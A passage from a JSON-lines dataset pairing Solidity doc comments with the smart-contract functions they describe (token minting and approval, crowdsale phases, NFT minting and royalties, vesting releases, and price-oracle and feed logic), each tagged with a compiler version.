increasing\r\n * the total supply.\r\n */", "function_code": "function _mint(address account, uint256 amount) internal virtual {\r\n require(account != address(0), \"ECLR: mint to the zero address\");\r\n\r\n _beforeTokenTransfer(address(0), account, amount);\r\n\r\n _totalSupply = _totalSupply.add(amount);\r\n _balances[account] = _balances[account].add(amount);\r\n emit Transfer(address(0), account, amount);\r\n }", "version": "0.7.0"} {"comment": "/**\r\n * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.\r\n */", "function_code": "function _approve(address owner, address spender, uint256 amount) internal virtual {\r\n require(owner != address(0), \"ECLR: Approver cannot be zero address\");\r\n require(spender != address(0), \"ECLR: Spender cannot approve to the zero address\");\r\n\r\n _allowances[owner][spender] = amount;\r\n emit Approval(owner, spender, amount);\r\n }", "version": "0.7.0"} {"comment": "/**\r\n * Hard cap - 30000 ETH\r\n * for token sale\r\n */", "function_code": "function validPurchaseTokens(uint256 _weiAmount) public inState(State.Active) returns (uint256) {\r\n uint256 addTokens = getTotalAmountOfTokens(_weiAmount);\r\n if (tokenAllocated.add(addTokens) > fundForSale) {\r\n TokenLimitReached(tokenAllocated, addTokens);\r\n return 0;\r\n }\r\n if (weiRaised.add(_weiAmount) > hardWeiCap) {\r\n HardCapReached();\r\n return 0;\r\n }\r\n if (_weiAmount < weiMinSale) {\r\n return 0;\r\n }\r\n return addTokens;\r\n }", "version": "0.4.19"} {"comment": "/**\n * Override for IERC2981 for optional royalty payment\n * @notice Called with the sale price to determine how much royalty\n * is owed and to whom.\n * @param _tokenId - the NFT asset queried for royalty information\n * @param _salePrice - the sale price of the NFT asset specified by _tokenId\n * @return receiver - address of who should be sent the royalty payment\n * @return royaltyAmount - the royalty payment amount for _salePrice\n */", "function_code": "function royaltyInfo (\n uint256 _tokenId,\n uint256 _salePrice\n ) external view override(IERC2981) returns (\n address receiver,\n uint256 royaltyAmount\n ) {\n // Royalty payment is 5% of the sale price\n uint256 royaltyPmt = _salePrice*royalty/10000;\n require(royaltyPmt > 0, \"Royalty must be greater than 0\");\n return (address(this), royaltyPmt);\n }", "version": "0.8.3"} {"comment": "/**\n * Override for ERC721 and ERC721URIStorage\n */", "function_code": "function tokenURI(uint256 tokenId)\n public\n view\n override(ERC721, ERC721URIStorage)\n returns (string memory)\n {\n string memory _uri = super.tokenURI(tokenId);\n\n // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).\n if (bytes(_uri).length > 0) {\n return string(abi.encodePacked(_uri, \".json\"));\n }\n\n return _uri;\n }", "version": "0.8.3"} {"comment": "/**\n * Read-only function to retrieve the current NFT price in eth (flat 0.07 ETH per NFT after the free one).\n * Price does not increase as quantity becomes scarce.\n */", "function_code": "function getCurrentPriceForQuantity(uint64 _quantityToMint) public view returns (uint64) {\n // The first NFT is free!\n if (balanceOf(msg.sender) > 0) {\n return getCurrentPrice() * _quantityToMint;\n } else {\n return getCurrentPrice() * (_quantityToMint - freeQuantity);\n }\n }", "version": "0.8.3"} {"comment": "/**\n * Mint quantity of NFTs for address initiating minting\n * The first mint per transaction is free to mint, however, others are 0.07 ETH per\n */", "function_code": "function mintQuantity(uint64 _quantityToMint) public payable {\n require(_quantityToMint >= 1, \"Minimum number to mint is 1\");\n require(\n _quantityToMint <= getCurrentMintLimit(),\n \"Exceeded the max number to mint of 12.\"\n );\n require(\n (_quantityToMint + totalSupply()) <= maxSupply,\n \"Exceeds maximum supply\"\n );\n require((_quantityToMint + balanceOf(msg.sender)) <= maxPerWallet, \"One wallet can only mint 12 NFTs\");\n require(\n (_quantityToMint + totalSupply()) <= maxSupply,\n \"We've exceeded the total supply of NFTs\"\n );\n require(\n msg.value == getCurrentPriceForQuantity(_quantityToMint),\n \"Ether submitted does not match current price\"\n );\n\n // Iterate through quantity to mint and mint each NFT\n for (uint64 i = 0; i < _quantityToMint; i++) {\n _tokenIds.increment();\n \n uint256 newItemId = _tokenIds.current();\n _safeMint(msg.sender, newItemId);\n }\n }", "version": "0.8.3"} {"comment": "/**\r\n * Only 100,000 ADR for Pre-Sale!\r\n */", "function_code": "receive() external payable {\r\n require(now <= endDate, \"Pre-sale of tokens is completed!\");\r\n require(_totalSupply <= hardcap, \"Maximum presale tokens - 100,000 ADR!\");\r\n uint tokens;\r\n \r\n if (now <= bonusEnds) {tokens = msg.value * 250;}\r\n else if (now > bonusEnds && now < bonusEnds1) {tokens = msg.value * 222;}\r\n else if (now > bonusEnds1 && now < bonusEnds2) {tokens = msg.value * 200;}\r\n else if (now > bonusEnds2 && now < bonusEnds3) {tokens = msg.value * 167;}\r\n\r\n _beforeTokenTransfer(address(0), msg.sender, tokens);\r\n _totalSupply = _totalSupply.add(tokens);\r\n _balances[msg.sender] = _balances[msg.sender].add(tokens);\r\n address(uint160(_dewpresale)).transfer(msg.value);\r\n emit Transfer(address(0), msg.sender, tokens);\r\n }", "version": "0.6.12"} {"comment": "/**\n * Mint quantity of NFTs for address initiating minting\n * These 50 promotional mints are used by the contract owner for promotions, contests, rewards, etc.\n */", "function_code": "function mintPromotionalQuantity(uint64 _quantityToMint) public onlyOwner {\n require(_quantityToMint >= 1, \"Minimum number to mint is 1\");\n require(\n (_quantityToMint + totalSupply()) <= maxSupply,\n \"Exceeds maximum supply\"\n );\n\n // Iterate through quantity to mint and mint each NFT\n for (uint64 i = 0; i < _quantityToMint; i++) {\n _tokenIds.increment();\n \n uint256 newItemId = _tokenIds.current();\n _safeMint(msg.sender, newItemId);\n }\n }", "version": "0.8.3"} {"comment": "/**\r\n * @dev Allow founder to start the Crowdsale phase1.\r\n */", "function_code": "function activeCrowdsalePhase1(uint256 _phase1Date) onlyOwner public {\r\n require(isPresaleActive == true);\r\n require(_phase1Date > endPresaleDate);\r\n require(isPhase1CrowdsaleActive == false);\r\n startCrowdsalePhase1Date = _phase1Date;\r\n endCrowdsalePhase1Date = _phase1Date + 1 weeks;\r\n isPresaleActive = !isPresaleActive;\r\n isPhase1CrowdsaleActive = !isPhase1CrowdsaleActive;\r\n }", "version": "0.4.24"} {"comment": "// Deposit LP tokens to MasterChef for ADR allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n updatePool(_pid);\r\n if (user.amount > 0) {\r\n uint256 pending = user.amount.mul(pool.accADRPerShare).div(1e12).sub(user.rewardDebt);\r\n safeADRTransfer(msg.sender, pending);\r\n }\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n user.amount = user.amount.add(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accADRPerShare).div(1e12);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Allow founder to start the Crowdsale phase3. \r\n */", "function_code": "function activeCrowdsalePhase3(uint256 _phase3Date) onlyOwner public {\r\n require(isPhase3CrowdsaleActive == false);\r\n require(_phase3Date > endCrowdsalePhase2Date);\r\n require(isPhase2CrowdsaleActive == true);\r\n startCrowdsalePhase3Date = _phase3Date;\r\n endCrowdsalePhase3Date = _phase3Date + 3 weeks;\r\n isPhase3CrowdsaleActive = !isPhase3CrowdsaleActive;\r\n isPhase2CrowdsaleActive = !isPhase2CrowdsaleActive;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Return the state based on the timestamp. \r\n */", "function_code": "function getState() view public returns(State) {\r\n \r\n if(now >= startPrivatesaleDate && isPrivatesaleActive == true) {\r\n return State.PrivateSale;\r\n }\r\n if (now >= startPresaleDate && now <= endPresaleDate) {\r\n require(isPresaleActive == true);\r\n return State.PreSale;\r\n }\r\n if (now >= startCrowdsalePhase1Date && now <= endCrowdsalePhase1Date) {\r\n require(isPhase1CrowdsaleActive == true);\r\n return State.CrowdSalePhase1;\r\n }\r\n if (now >= startCrowdsalePhase2Date && now <= endCrowdsalePhase2Date) {\r\n require(isPhase2CrowdsaleActive == true);\r\n return State.CrowdSalePhase2;\r\n }\r\n if (now >= startCrowdsalePhase3Date && now <= endCrowdsalePhase3Date) {\r\n require(isPhase3CrowdsaleActive == true);\r\n return State.CrowdSalePhase3;\r\n }\r\n return State.Gap;\r\n\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Return the rate based on the state and timestamp.\r\n */", "function_code": "function getRate() view public returns(uint256) {\r\n if (getState() == State.PrivateSale) {\r\n return 5;\r\n }\r\n if (getState() == State.PreSale) {\r\n return 6;\r\n }\r\n if (getState() == State.CrowdSalePhase1) {\r\n return 7;\r\n }\r\n if (getState() == State.CrowdSalePhase2) {\r\n return 8;\r\n }\r\n if (getState() == State.CrowdSalePhase3) {\r\n return 10;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Transfer the tokens to the investor address.\r\n * @param _investorAddress The address of investor. \r\n */", "function_code": "function buyTokens(address _investorAddress) \r\n public \r\n payable\r\n returns(bool)\r\n { \r\n require(whitelist.checkWhitelist(_investorAddress));\r\n if ((getState() == State.PreSale) ||\r\n (getState() == State.CrowdSalePhase1) || \r\n (getState() == State.CrowdSalePhase2) || \r\n (getState() == State.CrowdSalePhase3) || \r\n (getState() == State.PrivateSale)) {\r\n uint256 amount;\r\n require(_investorAddress != address(0));\r\n require(tokenAddress != address(0));\r\n require(msg.value >= MIN_INVESTMENT);\r\n amount = getTokenAmount(msg.value);\r\n require(fundTransfer(msg.value));\r\n require(token.transfer(_investorAddress, amount));\r\n ethRaised = ethRaised.add(msg.value);\r\n soldToken = soldToken.add(amount);\r\n emit TokenBought(_investorAddress,amount,now);\r\n return true;\r\n }else {\r\n revert();\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev See {IAbyssLockup-externalTransfer}.\n */", "function_code": "function externalTransfer(address token, address sender, address recipient, uint256 amount, uint256 abyssRequired) external onlyContract(msg.sender) returns (bool) {\n if (sender == address(this)) {\n IERC20(address(token)).safeTransfer(recipient, amount);\n } else {\n if (recipient != address(this) && abyssRequired > 0 && _freeDeposits > 0) {\n _freeDeposits = _freeDeposits - 1;\n }\n IERC20(address(token)).safeTransferFrom(sender, recipient, amount);\n }\n return true;\n }", "version": "0.8.1"} {"comment": "/**\n * @dev Initializes configuration of a given smart contract, with a specified\n * addresses for the `safeContract` smart contracts.\n *\n * All three of these values are immutable: they can only be set once.\n */", "function_code": "function initialize(address safe1, address safe3, address safe7, address safe14, address safe21,\n address safe28, address safe90, address safe180, address safe365) external onlyOwner returns (bool) {\n require(address(safeContract1) == address(0), \"AbyssLockup: already initialized\");\n safeContract1 = safe1;\n safeContract3 = safe3;\n safeContract7 = safe7;\n safeContract14 = safe14;\n safeContract21 = safe21;\n safeContract28 = safe28;\n safeContract90 = safe90;\n safeContract180 = safe180;\n safeContract365 = safe365;\n return true;\n }", "version": "0.8.1"} {"comment": "/// Delegate your vote to the voter $(to).", "function_code": "function delegate(address to) public {\r\n Voter storage sender = voters[msg.sender]; // assigns reference\r\n if (sender.voted) return;\r\n while (voters[to].delegate != address(0) && voters[to].delegate != msg.sender)\r\n to = voters[to].delegate;\r\n if (to == msg.sender) return;\r\n sender.voted = true;\r\n sender.delegate = to;\r\n Voter storage delegateTo = voters[to];\r\n if (delegateTo.voted)\r\n proposals[delegateTo.vote].voteCount += sender.weight;\r\n else\r\n delegateTo.weight += sender.weight;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Recovers the source address which signed a message\r\n * @dev Comparing to a claimed address would add nothing,\r\n * as the caller could simply perform the recover and claim that address.\r\n * @param message The data that was presumably signed\r\n * @param signature The fingerprint of the data + private key\r\n * @return The source address which signed the message, presumably\r\n */", "function_code": "function source(bytes memory message, bytes memory signature) public pure returns (address) {\r\n (bytes32 r, bytes32 s, uint8 v) = abi.decode(signature, (bytes32, bytes32, uint8));\r\n bytes32 hash = keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", keccak256(message)));\r\n return ecrecover(hash, v, r, s);\r\n }", "version": "0.6.10"} {"comment": "// decode a uq112x112 into a uint with 18 decimals of precision", "function_code": "function decode112with18(uq112x112 memory self) internal pure returns (uint) {\r\n // we only have 256 - 224 = 32 bits to spare, so scaling up by ~60 bits is dangerous\r\n // instead, get close to:\r\n // (x * 1e18) >> 112\r\n // without risk of overflowing, e.g.:\r\n // (x) / 2 ** (112 - lg(1e18))\r\n return uint(self._x) / 5192296858534827;\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * @notice Get the underlying price of a cToken\r\n * @dev Implements the PriceOracle interface for Compound v2.\r\n * @param cToken The cToken address for price retrieval\r\n * @return Price denominated in USD, with 18 decimals, for the given cToken address\r\n */", "function_code": "function getUnderlyingPrice(address cToken) external view returns (uint) {\r\n TokenConfig memory config = getTokenConfigByCToken(cToken);\r\n // Comptroller needs prices in the format: ${raw price} * 1e(36 - baseUnit)\r\n // Since the prices in this view have 6 decimals, we must scale them by 1e(36 - 6 - baseUnit)\r\n return mul(1e30, priceInternal(config)) / config.baseUnit;\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * @notice Post open oracle reporter prices, and recalculate stored price by comparing to anchor\r\n * @dev We let anyone pay to post anything, but only prices from configured reporter will be stored in the view.\r\n * @param messages The messages to post to the oracle\r\n * @param signatures The signatures for the corresponding messages\r\n * @param symbols The symbols to compare to anchor for authoritative reading\r\n */", "function_code": "function postPrices(bytes[] calldata messages, bytes[] calldata signatures, string[] calldata symbols) external {\r\n require(messages.length == signatures.length, \"messages and signatures must be 1:1\");\r\n\r\n // Save the prices\r\n for (uint i = 0; i < messages.length; i++) {\r\n priceData.put(messages[i], signatures[i]);\r\n }\r\n\r\n uint ethPrice = fetchEthPrice();\r\n\r\n // Try to update the view storage\r\n for (uint i = 0; i < symbols.length; i++) {\r\n postPriceInternal(symbols[i], ethPrice);\r\n }\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * @dev Get time-weighted average prices for a token at the current timestamp.\r\n * Update new and old observations of lagging window if period elapsed.\r\n */", "function_code": "function pokeWindowValues(TokenConfig memory config) internal returns (uint, uint, uint) {\r\n bytes32 symbolHash = config.symbolHash;\r\n uint cumulativePrice = currentCumulativePrice(config);\r\n\r\n Observation memory newObservation = newObservations[symbolHash];\r\n\r\n // Update new and old observations if elapsed time is greater than or equal to anchor period\r\n uint timeElapsed = block.timestamp - newObservation.timestamp;\r\n if (timeElapsed >= anchorPeriod) {\r\n oldObservations[symbolHash].timestamp = newObservation.timestamp;\r\n oldObservations[symbolHash].acc = newObservation.acc;\r\n\r\n newObservations[symbolHash].timestamp = block.timestamp;\r\n newObservations[symbolHash].acc = cumulativePrice;\r\n emit UniswapWindowUpdated(config.symbolHash, newObservation.timestamp, block.timestamp, newObservation.acc, cumulativePrice);\r\n }\r\n return (cumulativePrice, oldObservations[symbolHash].acc, oldObservations[symbolHash].timestamp);\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * @notice Invalidate the reporter, and fall back to using anchor directly in all cases\r\n * @dev Only the reporter may sign a message which allows it to invalidate itself.\r\n * To be used in cases of emergency, if the reporter thinks their key may be compromised.\r\n * @param message The data that was presumably signed\r\n * @param signature The fingerprint of the data + private key\r\n */", "function_code": "function invalidateReporter(bytes memory message, bytes memory signature) external {\r\n (string memory decodedMessage, ) = abi.decode(message, (string, address));\r\n require(keccak256(abi.encodePacked(decodedMessage)) == rotateHash, \"invalid message must be 'rotate'\");\r\n require(source(message, signature) == reporter, \"invalidation message must come from the reporter\");\r\n reporterInvalidated = true;\r\n emit ReporterInvalidated(reporter);\r\n }", "version": "0.6.10"} {"comment": "// @notice investors can vote to call this function for the new assetManager to then call\n// @dev new assetManager must approve this contract to transfer in and lock _ amount of platform tokens", "function_code": "function changeAssetManager(address _assetAddress, address _newAssetManager, uint256 _amount, bool _withhold)\r\n external\r\n returns (bool) {\r\n require(_newAssetManager != address(0));\r\n require(msg.sender == database.addressStorage(keccak256(abi.encodePacked(\"asset.dao.admin\", _assetAddress))), \"Only the asset DAO adminstrator contract may change the asset manager\");\r\n address currentAssetManager = database.addressStorage(keccak256(abi.encodePacked(\"asset.manager\", _assetAddress)));\r\n require(currentAssetManager != _newAssetManager, \"New asset manager is the same\");\r\n //Remove current asset manager\r\n require(removeAssetManager(_assetAddress), 'Asset manager not removed');\r\n database.setAddress(keccak256(abi.encodePacked(\"asset.manager\", _assetAddress)), _newAssetManager);\r\n if(!_withhold){\r\n processEscrow(_assetAddress, currentAssetManager);\r\n }\r\n require(lockEscrowInternal(_newAssetManager, _assetAddress, _amount), 'Failed to lock escrow');\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/// @dev Overflow proof multiplication", "function_code": "function mul(uint a, uint b) internal pure returns (uint) {\r\n if (a == 0) return 0;\r\n uint c = a * b;\r\n require(c / a == b, \"multiplication overflow\");\r\n return c;\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * @notice Transfer token for a specified address\r\n * @param to The address to transfer to.\r\n * @param value The amount to be transferred.\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function transfer(address to, uint256 value)\r\n public\r\n returns (bool)\r\n {\r\n // Call super's transfer, including event emission\r\n bool transferred = super.transfer(to, value);\r\n\r\n if (transferred) {\r\n // Adjust balance blocks\r\n addBalanceBlocks(msg.sender);\r\n addBalanceBlocks(to);\r\n\r\n // Add to the token holders list\r\n if (!holdersMap[to]) {\r\n holdersMap[to] = true;\r\n holders.push(to);\r\n }\r\n }\r\n\r\n return transferred;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.\r\n * @dev Beware that to change the approve amount you first have to reduce the addresses'\r\n * allowance to zero by calling `approve(spender, 0)` if it is not already 0 to mitigate the race\r\n * condition described here:\r\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\r\n * @param spender The address which will spend the funds.\r\n * @param value The amount of tokens to be spent.\r\n */", "function_code": "function approve(address spender, uint256 value)\r\n public\r\n returns (bool)\r\n {\r\n // Prevent the update of non-zero allowance\r\n require(0 == value || 0 == allowance(msg.sender, spender));\r\n\r\n // Call super's approve, including event emission\r\n return super.approve(spender, value);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Transfer tokens from one address to another\r\n * @param from address The address which you want to send tokens from\r\n * @param to address The address which you want to transfer to\r\n * @param value uint256 the amount of tokens to be transferred\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function transferFrom(address from, address to, uint256 value)\r\n public\r\n returns (bool)\r\n {\r\n // Call super's transferFrom, including event emission\r\n bool transferred = super.transferFrom(from, to, value);\r\n\r\n if (transferred) {\r\n // Adjust balance blocks\r\n addBalanceBlocks(from);\r\n addBalanceBlocks(to);\r\n\r\n // Add to the token holders list\r\n if (!holdersMap[to]) {\r\n holdersMap[to] = true;\r\n holders.push(to);\r\n }\r\n }\r\n\r\n return transferred;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice Calculate the amount of balance blocks, i.e. the area under the curve (AUC) of\r\n * balance as function of block number\r\n * @dev The AUC is used as weight for the share of revenue that a token holder may claim\r\n * @param account The account address for which calculation is done\r\n * @param startBlock The start block number considered\r\n * @param endBlock The end block number considered\r\n * @return The calculated AUC\r\n */", "function_code": "function balanceBlocksIn(address account, uint256 startBlock, uint256 endBlock)\r\n public\r\n view\r\n returns (uint256)\r\n {\r\n require(startBlock < endBlock);\r\n require(account != address(0));\r\n\r\n if (balanceBlockNumbers[account].length == 0 || endBlock < balanceBlockNumbers[account][0])\r\n return 0;\r\n\r\n uint256 i = 0;\r\n while (i < balanceBlockNumbers[account].length && balanceBlockNumbers[account][i] < startBlock)\r\n i++;\r\n\r\n uint256 r;\r\n if (i >= balanceBlockNumbers[account].length)\r\n r = balances[account][balanceBlockNumbers[account].length - 1].mul(endBlock.sub(startBlock));\r\n\r\n else {\r\n uint256 l = (i == 0) ? startBlock : balanceBlockNumbers[account][i - 1];\r\n\r\n uint256 h = balanceBlockNumbers[account][i];\r\n if (h > endBlock)\r\n h = endBlock;\r\n\r\n h = h.sub(startBlock);\r\n r = (h == 0) ? 0 : balanceBlocks[account][i].mul(h).div(balanceBlockNumbers[account][i].sub(l));\r\n i++;\r\n\r\n while (i < balanceBlockNumbers[account].length && balanceBlockNumbers[account][i] < endBlock) {\r\n r = r.add(balanceBlocks[account][i]);\r\n i++;\r\n }\r\n\r\n if (i >= balanceBlockNumbers[account].length)\r\n r = r.add(\r\n balances[account][balanceBlockNumbers[account].length - 1].mul(\r\n endBlock.sub(balanceBlockNumbers[account][balanceBlockNumbers[account].length - 1])\r\n )\r\n );\r\n\r\n else if (balanceBlockNumbers[account][i - 1] < endBlock)\r\n r = r.add(\r\n balanceBlocks[account][i].mul(\r\n endBlock.sub(balanceBlockNumbers[account][i - 1])\r\n ).div(\r\n balanceBlockNumbers[account][i].sub(balanceBlockNumbers[account][i - 1])\r\n )\r\n );\r\n }\r\n\r\n return r;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice Get the subset of holders (optionally with positive balance only) in the given 0 based index range\r\n * @param low The lower inclusive index\r\n * @param up The upper inclusive index\r\n * @param posOnly List only positive balance holders\r\n * @return The subset of positive balance registered holders in the given range\r\n */", "function_code": "function holdersByIndices(uint256 low, uint256 up, bool posOnly)\r\n public\r\n view\r\n returns (address[])\r\n {\r\n require(low <= up);\r\n\r\n up = up > holders.length - 1 ? holders.length - 1 : up;\r\n\r\n uint256 length = 0;\r\n if (posOnly) {\r\n for (uint256 i = low; i <= up; i++)\r\n if (0 < balanceOf(holders[i]))\r\n length++;\r\n } else\r\n length = up - low + 1;\r\n\r\n address[] memory _holders = new address[](length);\r\n\r\n uint256 j = 0;\r\n for (i = low; i <= up; i++)\r\n if (!posOnly || 0 < balanceOf(holders[i]))\r\n _holders[j++] = holders[i];\r\n\r\n return _holders;\r\n }", "version": "0.4.25"} {"comment": "/// @notice Destroy this contract", "function_code": "function triggerSelfDestruction()\r\n public\r\n {\r\n // Require that sender is the assigned destructor\r\n require(destructor() == msg.sender);\r\n\r\n // Require that self-destruction has not been disabled\r\n require(!selfDestructionDisabled);\r\n\r\n // Emit event\r\n emit TriggerSelfDestructionEvent(msg.sender);\r\n\r\n // Self-destruct and reward destructor\r\n selfdestruct(msg.sender);\r\n }", "version": "0.4.25"} {"comment": "/// @notice Set the deployer of this contract\n/// @param newDeployer The address of the new deployer", "function_code": "function setDeployer(address newDeployer)\r\n public\r\n onlyDeployer\r\n notNullOrThisAddress(newDeployer)\r\n {\r\n if (newDeployer != deployer) {\r\n // Set new deployer\r\n address oldDeployer = deployer;\r\n deployer = newDeployer;\r\n\r\n // Emit event\r\n emit SetDeployerEvent(oldDeployer, newDeployer);\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @notice Set the operator of this contract\n/// @param newOperator The address of the new operator", "function_code": "function setOperator(address newOperator)\r\n public\r\n onlyOperator\r\n notNullOrThisAddress(newOperator)\r\n {\r\n if (newOperator != operator) {\r\n // Set new operator\r\n address oldOperator = operator;\r\n operator = newOperator;\r\n\r\n // Emit event\r\n emit SetOperatorEvent(oldOperator, newOperator);\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @notice Set the address of token\n/// @param _token The address of token", "function_code": "function setToken(IERC20 _token)\r\n public\r\n onlyOperator\r\n notNullOrThisAddress(_token)\r\n {\r\n // Require that the token has not previously been set\r\n require(address(token) == address(0));\r\n\r\n // Update beneficiary\r\n token = _token;\r\n\r\n // Emit event\r\n emit SetTokenEvent(token);\r\n }", "version": "0.4.25"} {"comment": "/// @notice Define a set of new releases\n/// @param earliestReleaseTimes The timestamp after which the corresponding amount may be released\n/// @param amounts The amounts to be released\n/// @param releaseBlockNumbers The set release block numbers for releases whose earliest release time\n/// is in the past", "function_code": "function defineReleases(uint256[] earliestReleaseTimes, uint256[] amounts, uint256[] releaseBlockNumbers)\r\n onlyOperator\r\n public\r\n {\r\n require(earliestReleaseTimes.length == amounts.length);\r\n require(earliestReleaseTimes.length >= releaseBlockNumbers.length);\r\n\r\n // Require that token address has been set\r\n require(address(token) != address(0));\r\n\r\n for (uint256 i = 0; i < earliestReleaseTimes.length; i++) {\r\n // Update the total amount locked by this contract\r\n totalLockedAmount += amounts[i];\r\n\r\n // Require that total amount locked is smaller than or equal to the token balance of\r\n // this contract\r\n require(token.balanceOf(address(this)) >= totalLockedAmount);\r\n\r\n // Retrieve early block number where available\r\n uint256 blockNumber = i < releaseBlockNumbers.length ? releaseBlockNumbers[i] : 0;\r\n\r\n // Add release\r\n releases.push(Release(earliestReleaseTimes[i], amounts[i], blockNumber, false));\r\n\r\n // Emit event\r\n emit DefineReleaseEvent(earliestReleaseTimes[i], amounts[i], blockNumber);\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @notice Set the block number of a release that is not done\n/// @param index The index of the release\n/// @param blockNumber The updated block number", "function_code": "function setReleaseBlockNumber(uint256 index, uint256 blockNumber)\r\n public\r\n onlyBeneficiary\r\n {\r\n // Require that the release is not done\r\n require(!releases[index].done);\r\n\r\n // Update the release block number\r\n releases[index].blockNumber = blockNumber;\r\n\r\n // Emit event\r\n emit SetReleaseBlockNumberEvent(index, blockNumber);\r\n }", "version": "0.4.25"} {"comment": "/// @notice Transfers tokens held in the indicated release to beneficiary.\n/// @param index The index of the release", "function_code": "function release(uint256 index)\r\n public\r\n onlyBeneficiary\r\n {\r\n // Get the release object\r\n Release storage _release = releases[index];\r\n\r\n // Require that this release has been properly defined by having non-zero amount\r\n require(0 < _release.amount);\r\n\r\n // Require that this release has not already been executed\r\n require(!_release.done);\r\n\r\n // Require that the current timestamp is beyond the nominal release time\r\n require(block.timestamp >= _release.earliestReleaseTime);\r\n\r\n // Set release done\r\n _release.done = true;\r\n\r\n // Set release block number if not previously set\r\n if (0 == _release.blockNumber)\r\n _release.blockNumber = block.number;\r\n\r\n // Bump number of executed releases\r\n executedReleasesCount++;\r\n\r\n // Decrement the total locked amount\r\n totalLockedAmount -= _release.amount;\r\n\r\n // Execute transfer\r\n token.safeTransfer(beneficiary, _release.amount);\r\n\r\n // Emit event\r\n emit ReleaseEvent(index, _release.blockNumber, _release.earliestReleaseTime, block.timestamp, _release.amount);\r\n }", "version": "0.4.25"} {"comment": "/// @notice Calculate the released amount blocks, i.e. the area under the curve (AUC) of\n/// release amount as function of block number\n/// @param startBlock The start block number considered\n/// @param endBlock The end block number considered\n/// @return The calculated AUC", "function_code": "function releasedAmountBlocksIn(uint256 startBlock, uint256 endBlock)\r\n public\r\n view\r\n returns (uint256)\r\n {\r\n require(startBlock < endBlock);\r\n\r\n if (executedReleasesCount == 0 || endBlock < releases[0].blockNumber)\r\n return 0;\r\n\r\n uint256 i = 0;\r\n while (i < executedReleasesCount && releases[i].blockNumber < startBlock)\r\n i++;\r\n\r\n uint256 r;\r\n if (i >= executedReleasesCount)\r\n r = totalReleasedAmounts[executedReleasesCount - 1].mul(endBlock.sub(startBlock));\r\n\r\n else {\r\n uint256 l = (i == 0) ? startBlock : releases[i - 1].blockNumber;\r\n\r\n uint256 h = releases[i].blockNumber;\r\n if (h > endBlock)\r\n h = endBlock;\r\n\r\n h = h.sub(startBlock);\r\n r = (h == 0) ? 0 : totalReleasedAmountBlocks[i].mul(h).div(releases[i].blockNumber.sub(l));\r\n i++;\r\n\r\n while (i < executedReleasesCount && releases[i].blockNumber < endBlock) {\r\n r = r.add(totalReleasedAmountBlocks[i]);\r\n i++;\r\n }\r\n\r\n if (i >= executedReleasesCount)\r\n r = r.add(\r\n totalReleasedAmounts[executedReleasesCount - 1].mul(\r\n endBlock.sub(releases[executedReleasesCount - 1].blockNumber)\r\n )\r\n );\r\n\r\n else if (releases[i - 1].blockNumber < endBlock)\r\n r = r.add(\r\n totalReleasedAmountBlocks[i].mul(\r\n endBlock.sub(releases[i - 1].blockNumber)\r\n ).div(\r\n releases[i].blockNumber.sub(releases[i - 1].blockNumber)\r\n )\r\n );\r\n }\r\n\r\n return r;\r\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Get price from BAND protocol.\n * @param symbol The symbol that used to get price of\n * @return The price, scaled by 1e18\n */", "function_code": "function getPriceFromBAND(string memory symbol) internal view returns (uint256) {\n StdReferenceInterface.ReferenceData memory data = ref.getReferenceData(symbol, QUOTE_SYMBOL);\n require(data.rate > 0, \"invalid price\");\n\n // Price from BAND is always 1e18 base.\n return data.rate;\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Set ChainLink aggregators for multiple tokens\n * @param tokenAddresses The list of underlying tokens\n * @param bases The list of ChainLink aggregator bases\n * @param quotes The list of ChainLink aggregator quotes, currently support 'ETH' and 'USD'\n */", "function_code": "function _setAggregators(\n address[] calldata tokenAddresses,\n address[] calldata bases,\n address[] calldata quotes\n ) external {\n require(msg.sender == admin || msg.sender == guardian, \"only the admin or guardian may set the aggregators\");\n require(tokenAddresses.length == bases.length && tokenAddresses.length == quotes.length, \"mismatched data\");\n for (uint256 i = 0; i < tokenAddresses.length; i++) {\n bool isUsed;\n if (bases[i] != address(0)) {\n require(msg.sender == admin, \"guardian may only clear the aggregator\");\n require(quotes[i] == Denominations.ETH || quotes[i] == Denominations.USD, \"unsupported denomination\");\n isUsed = true;\n\n // Make sure the aggregator exists.\n address aggregator = reg.getFeed(bases[i], quotes[i]);\n require(reg.isFeedEnabled(aggregator), \"aggregator not enabled\");\n }\n aggregators[tokenAddresses[i]] = AggregatorInfo({base: bases[i], quote: quotes[i], isUsed: isUsed});\n emit AggregatorUpdated(tokenAddresses[i], bases[i], quotes[i], isUsed);\n }\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Set Band references for multiple tokens\n * @param tokenAddresses The list of underlying tokens\n * @param symbols The list of symbols used by Band reference\n */", "function_code": "function 